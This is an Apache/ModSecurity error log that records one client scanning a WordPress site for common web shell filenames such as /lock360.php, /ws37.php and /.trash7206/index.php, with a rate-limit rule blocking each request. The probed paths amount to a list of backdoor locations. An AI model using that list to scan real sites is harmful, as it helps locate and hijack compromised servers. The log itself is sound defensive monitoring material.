[Tue May 19 02:29:54.972862 2026] [:error] [pid 44087:tid 44103] [client 20.151.117.104:14237] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/php.php"] [unique_id "agtaom5HPHbH9GK7l6wRlAAAAc4"]
[Tue May 19 02:29:55.575686 2026] [:error] [pid 36493:tid 36563] [client 20.151.117.104:14316] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/test1.php"] [unique_id "agtaowynkzQB5nM668roZgAAAQ4"]
[Tue May 19 02:29:56.022956 2026] [:error] [pid 36493:tid 36561] [client 20.151.117.104:14180] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/test1.php"] [unique_id "agtapAynkzQB5nM668roZwAAAQw"]
[Tue May 19 02:29:56.582143 2026] [:error] [pid 36493:tid 36562] [client 20.151.117.104:14082] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/test1.php"] [unique_id "agtapAynkzQB5nM668roagAAAQ0"]
[Tue May 19 02:29:57.183115 2026] [:error] [pid 36491:tid 36504] [client 20.151.117.104:14235] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/test1.php"] [unique_id "agtapU555B9CZb6D60kFpQAAAUk"]
[Tue May 19 02:29:57.783173 2026] [:error] [pid 44010:tid 44032] [client 20.151.117.104:14259] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/min.php"] [unique_id "agtapTcFUuogD3-74-aPrgAAANQ"]
[Tue May 19 02:29:58.640903 2026] [:error] [pid 36491:tid 36500] [client 20.151.117.104:14184] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/min.php"] [unique_id "agtapk555B9CZb6D60kFpwAAAUU"]
[Tue May 19 02:29:59.142469 2026] [:error] [pid 36493:tid 36558] [client 20.151.117.104:14324] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/min.php"] [unique_id "agtapwynkzQB5nM668robQAAAQk"]
[Tue May 19 02:29:59.598624 2026] [:error] [pid 36491:tid 36507] [client 20.151.117.104:14275] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/min.php"] [unique_id "agtap0555B9CZb6D60kFqQAAAUw"]
[Tue May 19 02:30:00.076215 2026] [:error] [pid 36491:tid 36496] [client 20.151.117.104:14244] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zoom1.php"] [unique_id "agtaqE555B9CZb6D60kFqwAAAUE"]
[Tue May 19 02:30:00.536507 2026] [:error] [pid 36493:tid 36569] [client 20.151.117.104:14284] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zoom1.php"] [unique_id "agtaqAynkzQB5nM668rocAAAARQ"]
[Tue May 19 02:30:01.049181 2026] [:error] [pid 36491:tid 36518] [client 20.151.117.104:14225] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zoom1.php"] [unique_id "agtaqU555B9CZb6D60kFrwAAAVc"]
[Tue May 19 02:30:01.531863 2026] [:error] [pid 36491:tid 36502] [client 20.151.117.104:14314] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zoom1.php"] [unique_id "agtaqU555B9CZb6D60kFsAAAAUc"]
[Tue May 19 02:30:02.019085 2026] [:error] [pid 36579:tid 36582] [client 20.151.117.104:14240] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lock360.php"] [unique_id "agtaql-aoZxBfgL5vDy5rgAAAEA"]
[Tue May 19 02:30:02.893873 2026] [:error] [pid 36579:tid 36602] [client 20.151.117.104:14249] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lock360.php"] [unique_id "agtaql-aoZxBfgL5vDy5rwAAAFQ"]
[Tue May 19 02:30:14.294185 2026] [autoindex:error] [pid 36579:tid 36600] [client 20.151.117.104:14299] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue May 19 02:30:14.547987 2026] [autoindex:error] [pid 36579:tid 36603] [client 20.151.117.104:14299] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/blue/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue May 19 02:30:18.002695 2026] [:error] [pid 36579:tid 36592] [client 20.151.117.104:14299] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws37.php"] [unique_id "agtaul-aoZxBfgL5vDy51AAAAEo"]
[Tue May 19 02:30:18.628190 2026] [:error] [pid 44046:tid 44070] [client 20.151.117.104:14160] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws37.php"] [unique_id "agtauoYF4k2jfXJBXk0UHgAAAZY"]
[Tue May 19 02:30:19.099997 2026] [:error] [pid 36579:tid 36584] [client 20.151.117.104:14165] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws37.php"] [unique_id "agtau1-aoZxBfgL5vDy51QAAAEI"]
[Tue May 19 02:30:19.570475 2026] [:error] [pid 36579:tid 36605] [client 20.151.117.104:14238] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws37.php"] [unique_id "agtau1-aoZxBfgL5vDy51gAAAFc"]
[Tue May 19 02:30:20.009499 2026] [:error] [pid 36493:tid 36561] [client 20.151.117.104:14265] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/new.php"] [unique_id "agtavAynkzQB5nM668roeQAAAQw"]
[Tue May 19 02:30:20.545916 2026] [:error] [pid 44087:tid 44094] [client 20.151.117.104:14145] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/new.php"] [unique_id "agtavG5HPHbH9GK7l6wRlgAAAcU"]
[Tue May 19 02:30:21.184751 2026] [:error] [pid 36579:tid 36588] [client 20.151.117.104:14207] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/new.php"] [unique_id "agtavV-aoZxBfgL5vDy51wAAAEY"]
[Tue May 19 02:30:21.957858 2026] [:error] [pid 36491:tid 36515] [client 20.151.117.104:14289] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/new.php"] [unique_id "agtavU555B9CZb6D60kF0wAAAVQ"]
[Tue May 19 02:30:22.581112 2026] [:error] [pid 44046:tid 44065] [client 20.151.117.104:14325] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/widgets/"] [unique_id "agtavoYF4k2jfXJBXk0UIAAAAZE"]
[Tue May 19 02:30:23.047818 2026] [:error] [pid 36491:tid 36499] [client 20.151.117.104:14204] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/widgets/"] [unique_id "agtav0555B9CZb6D60kF1wAAAUQ"]
[Tue May 19 02:30:23.549012 2026] [:error] [pid 36492:tid 36531] [client 20.151.117.104:14257] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/widgets/"] [unique_id "agtav2CVlogrkn9m2w4uTAAAAAk"]
[Tue May 19 02:30:24.289219 2026] [:error] [pid 36492:tid 36546] [client 20.151.117.104:14266] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/widgets/"] [unique_id "agtawGCVlogrkn9m2w4uTwAAABg"]
[Tue May 19 02:30:25.142094 2026] [:error] [pid 43916:tid 43936] [client 20.151.117.104:14209] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/il.php"] [unique_id "agtawdQC236p33zJJvngegAAAIw"]
[Tue May 19 02:30:25.815313 2026] [:error] [pid 43916:tid 43929] [client 20.151.117.104:14252] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/il.php"] [unique_id "agtawdQC236p33zJJvngewAAAIU"]
[Tue May 19 02:30:26.321790 2026] [:error] [pid 36492:tid 36524] [client 20.151.117.104:14268] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/il.php"] [unique_id "agtawmCVlogrkn9m2w4uUgAAAAI"]
[Tue May 19 02:30:26.909706 2026] [:error] [pid 36492:tid 36538] [client 20.151.117.104:14258] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/il.php"] [unique_id "agtawmCVlogrkn9m2w4uUwAAABA"]
[Tue May 19 02:30:30.218676 2026] [:error] [pid 36579:tid 36597] [client 20.151.117.104:14297] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lite.php"] [unique_id "agtaxl-aoZxBfgL5vDy53QAAAE8"]
[Tue May 19 02:30:30.950405 2026] [:error] [pid 36492:tid 36522] [client 20.151.117.104:14213] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lite.php"] [unique_id "agtaxmCVlogrkn9m2w4uVgAAAAA"]
[Tue May 19 02:30:31.856904 2026] [:error] [pid 44010:tid 44018] [client 20.151.117.104:14187] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lite.php"] [unique_id "agtaxzcFUuogD3-74-aPsQAAAMY"]
[Tue May 19 02:30:32.306746 2026] [:error] [pid 36492:tid 36532] [client 20.151.117.104:14298] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lite.php"] [unique_id "agtayGCVlogrkn9m2w4uVwAAAAo"]
[Tue May 19 02:30:34.099273 2026] [:error] [pid 36493:tid 36553] [client 20.151.117.104:14151] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/load.php"] [unique_id "agtaygynkzQB5nM668rofQAAAQQ"]
[Tue May 19 02:30:36.008744 2026] [:error] [pid 36492:tid 36542] [client 20.151.117.104:14242] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/load.php"] [unique_id "agtazGCVlogrkn9m2w4uWAAAABQ"]
[Tue May 19 02:30:36.528116 2026] [:error] [pid 36493:tid 36560] [client 20.151.117.104:14327] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/load.php"] [unique_id "agtazAynkzQB5nM668rogwAAAQs"]
[Tue May 19 02:30:36.990791 2026] [:error] [pid 36492:tid 36529] [client 20.151.117.104:14262] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/load.php"] [unique_id "agtazGCVlogrkn9m2w4uWgAAAAc"]
[Tue May 19 02:30:37.450005 2026] [:error] [pid 44046:tid 44055] [client 20.151.117.104:14307] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/"] [unique_id "agtazYYF4k2jfXJBXk0UKAAAAYc"]
[Tue May 19 02:30:37.877789 2026] [:error] [pid 44046:tid 44056] [client 20.151.117.104:14253] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/"] [unique_id "agtazYYF4k2jfXJBXk0UKgAAAYg"]
[Tue May 19 02:30:38.438401 2026] [:error] [pid 36491:tid 36514] [client 20.151.117.104:14245] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/"] [unique_id "agtazk555B9CZb6D60kF4AAAAVM"]
[Tue May 19 02:30:38.872637 2026] [:error] [pid 36579:tid 36602] [client 20.151.117.104:14144] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/"] [unique_id "agtazl-aoZxBfgL5vDy53gAAAFQ"]
[Tue May 19 02:30:39.316196 2026] [:error] [pid 44046:tid 44051] [client 20.151.117.104:14156] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-themes.php"] [unique_id "agtaz4YF4k2jfXJBXk0UKwAAAYM"]
[Tue May 19 02:30:39.787004 2026] [:error] [pid 36492:tid 36540] [client 20.151.117.104:14313] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-themes.php"] [unique_id "agtaz2CVlogrkn9m2w4uXQAAABI"]
[Tue May 19 02:30:40.224116 2026] [:error] [pid 44046:tid 44063] [client 20.151.117.104:14195] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-themes.php"] [unique_id "agta0IYF4k2jfXJBXk0ULAAAAY8"]
[Tue May 19 02:30:40.671935 2026] [:error] [pid 44046:tid 44067] [client 20.151.117.104:14317] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-themes.php"] [unique_id "agta0IYF4k2jfXJBXk0ULgAAAZM"]
[Tue May 19 02:30:41.098441 2026] [:error] [pid 44046:tid 44062] [client 20.151.117.104:14181] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xda.php"] [unique_id "agta0YYF4k2jfXJBXk0ULwAAAY4"]
[Tue May 19 02:30:41.555141 2026] [:error] [pid 36493:tid 36561] [client 20.151.117.104:14153] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xda.php"] [unique_id "agta0QynkzQB5nM668rohwAAAQw"]
[Tue May 19 02:30:42.122063 2026] [:error] [pid 36492:tid 36534] [client 20.151.117.104:14178] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xda.php"] [unique_id "agta0mCVlogrkn9m2w4uXgAAAAw"]
[Tue May 19 02:30:42.612064 2026] [:error] [pid 36492:tid 36524] [client 20.151.117.104:14217] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xda.php"] [unique_id "agta0mCVlogrkn9m2w4uXwAAAAI"]
[Tue May 19 02:30:43.130753 2026] [:error] [pid 44046:tid 44065] [client 20.151.117.104:14191] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.trash7206/index.php"] [unique_id "agta04YF4k2jfXJBXk0UMAAAAZE"]
[Tue May 19 02:30:43.547993 2026] [:error] [pid 44087:tid 44102] [client 20.151.117.104:14152] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.trash7206/index.php"] [unique_id "agta025HPHbH9GK7l6wRmQAAAc0"]
[Tue May 19 02:30:44.020031 2026] [:error] [pid 36492:tid 36544] [client 20.151.117.104:14080] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.trash7206/index.php"] [unique_id "agta1GCVlogrkn9m2w4uYQAAABY"]
[Tue May 19 02:30:44.454884 2026] [:error] [pid 36492:tid 36543] [client 20.151.117.104:14106] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.trash7206/index.php"] [unique_id "agta1GCVlogrkn9m2w4uYwAAABU"]
